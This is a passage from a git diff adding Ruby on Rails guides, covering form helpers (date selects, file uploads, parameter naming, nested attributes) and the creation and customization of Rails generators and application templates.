+# Other helpers use the +_tag+ suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, +select_date+, +select_time+ and +select_datetime+ are the barebones helpers, +date_select+, +time_select+ and +datetime_select+ are the equivalent model object helpers.
+
+Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
+
+h4. Barebones Helpers
+
+The +select_*+ family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
+
+<erb>
+<%= select_date Date.today, :prefix => :start_date %>
+</erb>
+
+outputs (with actual option values omitted for brevity)
+
+<html>
+<select id="start_date_year" name="start_date[year]"> ... </select>
+<select id="start_date_month" name="start_date[month]"> ... </select>
+<select id="start_date_day" name="start_date[day]"> ... </select>
+</html>
+
+The above inputs would result in +params[:start_date]+ being a hash with keys +:year+, +:month+, +:day+. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
+
+<ruby>
+Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
+</ruby>
+
+The +:prefix+ option is the key used to retrieve the hash of date components from the +params+ hash. Here it was set to +start_date+, if omitted it will default to +date+.
+
+h4(#select-model-object-helpers). Model Object Helpers
+
++select_date+ does not work well with forms that update or create Active Record objects as Active Record expects each element of the +params+ hash to correspond to one attribute.
+The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
+
+<erb>
+<%= date_select :person, :birth_date %>
+</erb>
+
+outputs (with actual option values omitted for brevity)
+
+<html>
+<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
+<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
+<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
+</html>
+
+which results in a +params+ hash like
+
+<ruby>
+{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
+</ruby>
+
+When this is passed to +Person.new+ (or +update_attributes+), Active Record spots that these parameters should all be used to construct the +birth_date+ attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as +Date.civil+.
+
+h4. Common Options
+
+Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the +:start_year+ and +:end_year+ options override this. For an exhaustive list of the available options, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html.
+
+As a rule of thumb you should be using +date_select+ when working with model objects and +select_date+ in other cases, such as a search form which filters results by date.
+
+NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
+
+h4. Individual Components
+
+Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overridden with the  +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value.
+
+The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example
+
+<erb>
+<%= select_year(2009) %>
+<%= select_year(Time.now) %>
+</erb>
+
+will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by +params[:date][:year]+.
+
+h3. Uploading Files
+
+A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding *MUST* be set to "multipart/form-data". If you use +form_for+, this is done automatically. If you use +form_tag+, you must set it yourself, as per the following example.
+
+The following two forms both upload a file.
+
+<erb>
+<%= form_tag({:action => :upload}, :multipart => true) do %>
+  <%= file_field_tag 'picture' %>
+<% end %>
+
+<%= form_for @person do |f| %>
+  <%= f.file_field :picture %>
+<% end %>
+</erb>
+
+NOTE: Since Rails 3.1, forms rendered using +form_for+ have their encoding set to <tt>multipart/form-data</tt> automatically once a +file_field+ is used inside the block. Previous versions required you to set this explicitly.
+
+Rails provides the usual pair of helpers: the barebones +file_field_tag+ and the model oriented +file_field+. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in +params[:picture]+ and in the second case in +params[:person][:picture]+.
+
+h4. What Gets Uploaded
+
+The object in the +params+ hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an +original_filename+ attribute containing the name the file had on the user's computer and a +content_type+ attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in +#{Rails.root}/public/uploads+ under the same name as the original file (assuming the form was the one in the previous example).
+
+<ruby>
+def upload
+  uploaded_io = params[:person][:picture]
+  File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
+    file.write(uploaded_io.read)
+  end
+end
+</ruby>
+
+Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are "CarrierWave":https://github.com/jnicklas/carrierwave and "Paperclip":http://www.thoughtbot.com/projects/paperclip.
+
+NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
+
+h4. Dealing with Ajax
+
+Unlike other forms making an asynchronous file upload form is not as simple as providing +form_for+ with <tt>:remote => true</tt>. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
+
+h3. Customizing Form Builders
+
+As mentioned previously the object yielded by +form_for+ and +fields_for+ is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example
+
+<erb>
+<%= form_for @person do |f| %>
+  <%= text_field_with_label f, :first_name %>
+<% end %>
+</erb>
+
+can be replaced with
+
+<erb>
+<%= form_for @person, :builder => LabellingFormBuilder do |f| %>
+  <%= f.text_field :first_name %>
+<% end %>
+</erb>
+
+by defining a LabellingFormBuilder class similar to the following:
+
+<ruby>
+class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+  def text_field(attribute, options={})
+    label(attribute) + super
+  end
+end
+</ruby>
+
+If you reuse this frequently you could define a +labeled_form_for+ helper that automatically applies the +:builder => LabellingFormBuilder+ option.
+
+The form builder used also determines what happens when you do
+
+<erb>
+<%= render :partial => f %>
+</erb>
+
+If +f+ is an instance of FormBuilder then this will render the +form+ partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the +labelling_form+ partial would be rendered instead.
+
+h3. Understanding Parameter Naming Conventions
+
+As you've seen in the previous sections, values from forms can be at the top level of the +params+ hash or nested in another hash. For example in a standard +create+
+action for a Person model, +params[:model]+ would usually be a hash of all the attributes for the person to create. The +params+ hash can also contain arrays, arrays of hashes and so on.
+
+Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
+
+TIP: You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example,
+
+<ruby>
+Rack::Utils.parse_query "name=fred&phone=0123456789"
+# => {"name"=>"fred", "phone"=>"0123456789"}
+</ruby>
+
+h4. Basic Structures
+
+The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in +params+. For example if a form contains
+
+<html>
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+</html>
+
+the +params+ hash will contain
+
+<erb>
+{'person' => {'name' => 'Henry'}}
+</erb>
+
+and +params[:person][:name]+ will retrieve the submitted value in the controller.
+
+Hashes can be nested as many levels as required, for example
+
+<html>
+<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
+</html>
+
+will result in the +params+ hash being
+
+<ruby>
+{'person' => {'address' => {'city' => 'New York'}}}
+</ruby>
+
+Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:
+
+<html>
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+</html>
+
+This would result in +params[:person][:phone_number]+ being an array.
+
+h4. Combining Them
+
+We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
+
+<html>
+<input name="addresses[][line1]" type="text"/>
+<input name="addresses[][line2]" type="text"/>
+<input name="addresses[][city]" type="text"/>
+</html>
+
+This would result in +params[:addresses]+ being an array of hashes with keys +line1+, +line2+ and +city+. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
+
+There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.
+
+WARNING: Array parameters do not play well with the +check_box+ helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The +check_box+ helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use +check_box_tag+ or to use hashes instead of arrays.
+
+h4. Using Form Helpers
+
+The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as +text_field_tag+ Rails also provides higher level support. The two tools at your disposal here are the name parameter to +form_for+ and +fields_for+ and the +:index+ option that helpers take.
+
+You might want to render a form with a set of edit fields for each of a person's addresses. For example:
+
+<erb>
+<%= form_for @person do |person_form| %>
+  <%= person_form.text_field :name %>
+  <% @person.addresses.each do |address| %>
+    <%= person_form.fields_for address, :index => address do |address_form|%>
+      <%= address_form.text_field :city %>
+    <% end %>
+  <% end %>
+<% end %>
+</erb>
+
+Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
+
+<html>
+<form accept-charset="UTF-8" action="/people/1" class="edit_person" id="edit_person_1" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+  <input id="person_address_23_city" name="person[address][23][city]" type="text" />
+  <input id="person_address_45_city" name="person[address][45][city]" type="text" />
+</form>
+</html>
+
+This will result in a +params+ hash that looks like
+
+<ruby>
+{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
+</ruby>
+
+Rails knows that all these inputs should be part of the person hash because you called +fields_for+ on the first form builder. By specifying an +:index+ option you're telling Rails that instead of naming the inputs +person[address][city]+ it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call +to_param+ on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even +nil+ (which will result in an array parameter being created).
+
+To create more intricate nestings, you can specify the first part of the input name (+person[address]+ in the previous example) explicitly, for example
+
+<erb>
+<%= fields_for 'person[address][primary]', address, :index => address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+</erb>
+
+will create inputs like
+
+<html>
+<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="bologna" />
+</html>
+
+As a general rule the final input name is the concatenation of the name given to +fields_for+/+form_for+, the index value and the name of the attribute. You can also pass an +:index+ option directly to helpers such as +text_field+, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
+
+As a shortcut you can append [] to the name and omit the +:index+ option. This is the same as specifying +:index => address+ so
+
+<erb>
+<%= fields_for 'person[address][primary][]', address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+</erb>
+
+produces exactly the same output as the previous example.
+
+h3. Forms to external resources
+
+If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an +authenticity_token+ for this resource. You can do it by passing an +:authenticity_token => 'your_external_token'+ parameter to the +form_tag+ options:
+
+<erb>
+<%= form_tag 'http://farfar.away/form', :authenticity_token => 'external_token') do %>
+  Form contents
+<% end %>
+</erb>
+
+Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an +authenticity_token+ hidden field at all. For doing this just pass +false+ to the +:authenticity_token+ option:
+
+<erb>
+<%= form_tag 'http://farfar.away/form', :authenticity_token => false) do %>
+  Form contents
+<% end %>
+</erb>
+
+The same technique is available for the +form_for+ too:
+
+<erb>
+<%= form_for @invoice, :url => external_url, :authenticity_token => 'external_token' do |f|
+  Form contents
+<% end %>
+</erb>
+
+Or if you don't want to render an +authenticity_token+ field:
+
+<erb>
+<%= form_for @invoice, :url => external_url, :authenticity_token => false do |f|
+  Form contents
+<% end %>
+</erb>
+
+h3. Building Complex Forms
+
+Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. 
+
+h4. Configuring the Model
+
+Active Record provides model level support  via the +accepts_nested_attributes_for+ method:
+
+<ruby>
+class Person < ActiveRecord::Base
+  has_many :addresses
+  accepts_nested_attributes_for :addresses
+
+  attr_accessible :name, :addresses_attributes
+end
+
+class Address < ActiveRecord::Base
+  belongs_to :person
+  attr_accessible :kind, :street
+end
+</ruby>
+
+This creates an +addresses_attributes=+ method on +Person+ that allows you to create, update and (optionally) destroy addresses. When using +attr_accessible+ or +attr_protected+ you must mark +addresses_attributes+ as accessible as well as the other attributes of +Person+ and +Address+ that should be mass assigned.
+
+h4. Building the Form
+
+The following form allows a user to create a +Person+ and its associated addresses.
+
+<erb>
+<%= form_for @person do |f| %>
+  Addresses:
+  <ul>
+    <%= f.fields_for :addresses do |addresses_form| %>
+      <li>
+        <%= addresses_form.label :kind %>
+        <%= addresses_form.text_field :kind %>
+
+        <%= addresses_form.label :street %>
+        <%= addresses_form.text_field :street %>
+        ...
+      </li>
+    <% end %>
+  </ul>
+<% end %>
+</erb>
+
+
+When an association accepts nested attributes +fields_for+ renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form.
+
+<ruby>
+def new
+  @person = Person.new
+  3.times { @person.addresses.build}
+end
+</ruby>
+
++fields_for+ yields a form builder that names parameters in the format expected the accessor generated by +accepts_nested_attributes_for+. For example when creating a user with 2 addresses, the submitted parameters would look like
+
+<ruby>
+{
+    :person => {
+        :name => 'John Doe',
+        :addresses_attributes => {
+            '0' => {
+                :kind  => 'Home',
+                :street => '221b Baker Street',
+            },
+            '1' => {
+                :kind => 'Office',
+                :street => '31 Spooner Street'
+            }
+        }
+    }
+}
+</ruby>
+
+The keys of the +:addresses_attributes+ hash are unimportant, they need merely be different for each address. 
+
+If the associated object is already saved, +fields_for+ autogenerates a hidden input with the +id+ of the saved record. You can disable this by passing +:include_id => false+ to +fields_for+. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id.
+
+h4. The Controller
+
+You do not need to write any specific controller code to use nested attributes. Create and update records as you would with a simple form.
+
+h4. Removing Objects
+
+You can allow users to delete associated objects by passing +allow_destroy => true+ to +accepts_nested_attributes_for+
+
+<ruby>
+class Person < ActiveRecord::Base
+  has_many :addresses
+  accepts_nested_attributes_for :addresses, :allow_destroy => true
+end
+</ruby>
+
+If the hash of attributes for an object contains the key +_destroy+ with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses:
+
+<erb>
+<%= form_for @person do |f| %>
+  Addresses:
+  <ul>
+    <%= f.fields_for :addresses do |addresses_form| %>
+      <li>
+        <%= check_box :_destroy%>
+        <%= addresses_form.label :kind %>
+        <%= addresses_form.text_field :kind %>
+        ...
+      </li>
+    <% end %>
+  </ul>
+<% end %>
+</erb>
+
+h4. Preventing Empty Records
+
+It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a +:reject_if+ proc to +accepts_nested_attributes_for+. This proc will be called with each hash of attributes submitted by the form. If the proc returns +false+ then Active Record will not build an associated object for that hash. The example below only tries to build an address if the +kind+ attribute is set.
+
+<ruby>
+class Person < ActiveRecord::Base
+  has_many :addresses
+  accepts_nested_attributes_for :addresses, :reject_if => lambda {|attributes| attributes['kind'].blank?}
+end
+</ruby>
+
+As a convenience you can instead pass the symbol +:all_blank+ which will create a proc that will reject records where all the attributes are blank excluding any value for +_destroy+.
+
+h4. Adding Fields on the Fly
+
+Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new child' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the the key of the associated array is unique - the current javascript date (milliseconds after the epoch) is a common choice.
\ No newline at end of file
diff --git a/guides/source/generators.textile b/guides/source/generators.textile
new file mode 100644
index 0000000000..2e9ab0526d
--- /dev/null
+++ b/guides/source/generators.textile
@@ -0,0 +1,626 @@
+h2. Creating and Customizing Rails Generators & Templates
+
+Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones.
+
+In this guide you will:
+
+* Learn how to see which generators are available in your application
+* Create a generator using templates
+* Learn how Rails searches for generators before invoking them
+* Customize your scaffold by creating new generators
+* Customize your scaffold by changing generator templates
+* Learn how to use fallbacks to avoid overwriting a huge set of generators
+* Learn how to create an application template
+
+endprologue.
+
+NOTE: This guide is about generators in Rails 3, previous versions are not covered.
+
+h3. First Contact
+
+When you create an application using the +rails+ command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking +rails generate+:
+
+<shell>
+$ rails new myapp
+$ cd myapp
+$ rails generate
+</shell>
+
+You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:
+
+<shell>
+$ rails generate helper --help
+</shell>
+
+h3. Creating Your First Generator
+
+Since Rails 3.0, generators are built on top of "Thor":https://github.com/wycats/thor. Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named +initializer.rb+ inside +config/initializers+.
+
+The first step is to create a file at +lib/generators/initializer_generator.rb+ with the following content:
+
+<ruby>
+class InitializerGenerator < Rails::Generators::Base
+  def create_initializer_file
+    create_file "config/initializers/initializer.rb", "# Add initialization content here"
+  end
+end
+</ruby>
+
+NOTE: +create_file+ is a method provided by +Thor::Actions+. Documentation for +create_file+ and other Thor methods can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html
+
+Our new generator is quite simple: it inherits from +Rails::Generators::Base+ and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the +create_file+ method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.
+
+To invoke our new generator, we just need to do:
+
+<shell>
+$ rails generate initializer
+</shell>
+
+Before we go on, let's see our brand new generator description:
+
+<shell>
+$ rails generate initializer --help
+</shell>
+
+Rails is usually able to generate good descriptions if a generator is namespaced, as +ActiveRecord::Generators::ModelGenerator+, but not in this particular case. We can solve this problem in two ways. The first one is calling +desc+ inside our generator:
+
+<ruby>
+class InitializerGenerator < Rails::Generators::Base
+  desc "This generator creates an initializer file at config/initializers"
+  def create_initializer_file
+    create_file "config/initializers/initializer.rb", "# Add initialization content here"
+  end
+end
+</ruby>
+
+Now we can see the new description by invoking +--help+ on the new generator. The second way to add a description is by creating a file named +USAGE+ in the same directory as our generator. We are going to do that in the next step.
+
+h3. Creating Generators with Generators
+
+Generators themselves have a generator:
+
+<shell>
+$ rails generate generator initializer
+      create  lib/generators/initializer
+      create  lib/generators/initializer/initializer_generator.rb
+      create  lib/generators/initializer/USAGE
+      create  lib/generators/initializer/templates
+</shell>
+
+This is the generator just created:
+
+<ruby>
+class InitializerGenerator < Rails::Generators::NamedBase
+  source_root File.expand_path("../templates", __FILE__)
+end
+</ruby>
+
+First, notice that we are inheriting from +Rails::Generators::NamedBase+ instead of +Rails::Generators::Base+. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable +name+.
+
+We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
+
+<shell>
+$ rails generate initializer --help
+Usage:
+  rails generate initializer NAME [options]
+</shell>
+
+We can also see that our new generator has a class method called +source_root+. This method points to where our generator templates will be placed, if any, and by default it points to the created directory +lib/generators/initializer/templates+.
+
+In order to understand what a generator template means, let's create the file +lib/generators/initializer/templates/initializer.rb+ with the following content:
+
+<ruby>
+# Add initialization content here
+</ruby>
+
+And now let's change the generator to copy this template when invoked:
+
+<ruby>
+class InitializerGenerator < Rails::Generators::NamedBase
+  source_root File.expand_path("../templates", __FILE__)
+
+  def copy_initializer_file
+    copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
+  end
+end
+</ruby>
+
+And let's execute our generator:
+
+<shell>
+$ rails generate initializer core_extensions
+</shell>
+
+We can see that now an initializer named core_extensions was created at +config/initializers/core_extensions.rb+ with the contents of our template. That means that +copy_file+ copied a file in our source root to the destination path we gave. The method +file_name+ is automatically created when we inherit from +Rails::Generators::NamedBase+.
+
+The methods that are available for generators are covered in the "final section":#generator-methods of this guide.
+
+h3. Generators Lookup
+
+When you run +rails generate initializer core_extensions+ Rails requires these files in turn until one is found:
+
+<shell>
+rails/generators/initializer/initializer_generator.rb
+generators/initializer/initializer_generator.rb
+rails/generators/initializer_generator.rb
+generators/initializer_generator.rb
+</shell>
+
+If none is found you get an error message.
+
+INFO: The examples above put files under the application's +lib+ because said directory belongs to +$LOAD_PATH+.
+
+h3. Customizing Your Workflow
+
+Rails own generators are flexible enough to let you customize scaffolding. They can be configured in +config/application.rb+, these are some defaults:
+
+<ruby>
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, :fixture => true
+end
+</ruby>
+
+Before we customize our workflow, let's first see what our scaffold looks like:
+
+<shell>
+$ rails generate scaffold User name:string
+      invoke  active_record
+      create    db/migrate/20091120125558_create_users.rb
+      create    app/models/user.rb
+      invoke    test_unit
+      create      test/unit/user_test.rb
+      create      test/fixtures/users.yml
+       route  resources :users
+      invoke  scaffold_controller
+      create    app/controllers/users_controller.rb
+      invoke    erb
+      create      app/views/users
+      create      app/views/users/index.html.erb
+      create      app/views/users/edit.html.erb
+      create      app/views/users/show.html.erb
+      create      app/views/users/new.html.erb
+      create      app/views/users/_form.html.erb
+      invoke    test_unit
+      create      test/functional/users_controller_test.rb
+      invoke    helper
+      create      app/helpers/users_helper.rb
+      invoke      test_unit
+      create        test/unit/helpers/users_helper_test.rb
+      invoke  stylesheets
+      create    app/assets/stylesheets/scaffold.css
+</shell>
+
+Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
+
+Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following:
+
+<ruby>
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, :fixture => false
+  g.stylesheets     false
+end
+</ruby>
+
+If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
+
+To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:
+
+<shell>
+$ rails generate generator rails/my_helper
+</shell>
+
+After that, we can delete both the +templates+ directory and the +source_root+ class method from our new generators, because we are not going to need them. So our new generator looks like the following:
+
+<ruby>
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+  def create_helper_file
+    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+  attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+    FILE
+  end
+end
+</ruby>
+
+We can try out our new generator by creating a helper for users:
+
+<shell>
+$ rails generate my_helper products
+</shell>
+
+And it will generate the following helper file in +app/helpers+:
+
+<ruby>
+module ProductsHelper
+  attr_reader :products, :product
+end
+</ruby>
+
+Which is what we expected. We can now tell scaffold to use our new helper generator by editing +config/application.rb+ once again:
+
+<ruby>
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, :fixture => false
+  g.stylesheets     false
+  g.helper          :my_helper
+end
+</ruby>
+
+and see it in action when invoking the generator:
+
+<shell>
+$ rails generate scaffold Post body:text
+      [...]
+      invoke    my_helper
+      create      app/helpers/posts_helper.rb
+</shell>
+
+We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.
+
+Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just needs to implement this hook in order to be compatible.
+
+To do that, we can change the generator this way:
+
+<ruby>
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+  def create_helper_file
+    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+  attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+    FILE
+  end
+
+  hook_for :test_framework
+end
+</ruby>
+
+Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both +Rails::TestUnitGenerator+ and +TestUnit::MyHelperGenerator+. Since none of those are defined, we can tell our generator to invoke +TestUnit::Generators::HelperGenerator+ instead, which is defined since it's a Rails generator. To do that, we just need to add:
+
+<ruby>
+# Search for :helper instead of :my_helper
+hook_for :test_framework, :as => :helper
+</ruby>
+
+And now you can re-run scaffold for another resource and see it generating tests as well!
+
+h3. Customizing Your Workflow by Changing Generators Templates
+
+In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case +Rails::Generators::HelperGenerator+.
+
+In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is +lib/templates+. Since we want to customize +Rails::Generators::HelperGenerator+, we can do that by simply making a template copy inside +lib/templates/rails/helper+ with the name +helper.rb+. So let's create that file with the following content:
+
+<erb>
+module <%= class_name %>Helper
+  attr_reader :<%= plural_name %>, <%= plural_name.singularize %>
+end
+</erb>
+
+and revert the last change in +config/application.rb+:
+
+<ruby>
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, :fixture => false
+  g.stylesheets     false
+end
+</ruby>
+
+If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating +edit.html.erb+, +index.html.erb+ and so on inside +lib/templates/erb/scaffold+.
+
+h3. Adding Generators Fallbacks
+
+One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like "shoulda":https://github.com/thoughtbot/shoulda does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a +TestUnit+ generator if none was found under the +Shoulda+ namespace.
+
+We can easily simulate this behavior by changing our +config/application.rb+ once again:
+
+<ruby>
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :shoulda, :fixture => false
+  g.stylesheets     false
+
+  # Add a fallback!
+  g.fallbacks[:shoulda] = :test_unit
+end
+</ruby>
+
+Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:
+
+<shell>
+$ rails generate scaffold Comment body:text
+      invoke  active_record
+      create    db/migrate/20091120151323_create_comments.rb
+      create    app/models/comment.rb
+      invoke    shoulda
+      create      test/unit/comment_test.rb
+      create      test/fixtures/comments.yml
+       route    resources :comments
+      invoke  scaffold_controller
+      create    app/controllers/comments_controller.rb
+      invoke    erb
+      create      app/views/comments
+      create      app/views/comments/index.html.erb
+      create      app/views/comments/edit.html.erb
+      create      app/views/comments/show.html.erb
+      create      app/views/comments/new.html.erb
+      create      app/views/comments/_form.html.erb
+      create      app/views/layouts/comments.html.erb
+      invoke    shoulda
+      create      test/functional/comments_controller_test.rb
+      invoke    my_helper
+      create      app/helpers/comments_helper.rb
+      invoke      shoulda
+      create        test/unit/helpers/comments_helper_test.rb
+</shell>
+
+Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.
+
+h3. Application Templates
+
+Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template".
+
+<ruby>
+gem("rspec-rails", :group => "test")
+gem("cucumber-rails", :group => "test")
+
+if yes?("Would you like to install Devise?")
+  gem("devise")
+  generate("devise:install")
+  model_name = ask("What would you like the user model to be called? [user]")
+  model_name = "user" if model_name.blank?
+  generate("devise", model_name)
+end
+</ruby>
+
+In the above template we specify that the application relies on the +rspec-rails+ and +cucumber-rails+ gem so these two will be added to the +test+ group in the +Gemfile+. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the +Gemfile+ outside of any group and then runs the +devise:install+ generator. This template then takes the users input and runs the +devise+ generator, with the user's answer from the last question being passed to this generator.
+
+Imagine that this template was in a file called +template.rb+. We can use it to modify the outcome of the +rails new+ command by using the +-m+ option and passing in the filename:
+
+<shell>
+$ rails new thud -m template.rb
+</shell>
+
+This command will generate the +Thud+ application, and then apply the template to the generated output.
+
+Templates don't have to be stored on the local system, the +-m+ option also supports online templates:
+
+<shell>
+$ rails new thud -m https://gist.github.com/722911.txt
+</shell>
+
+Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.
+
+h3. Generator methods
+
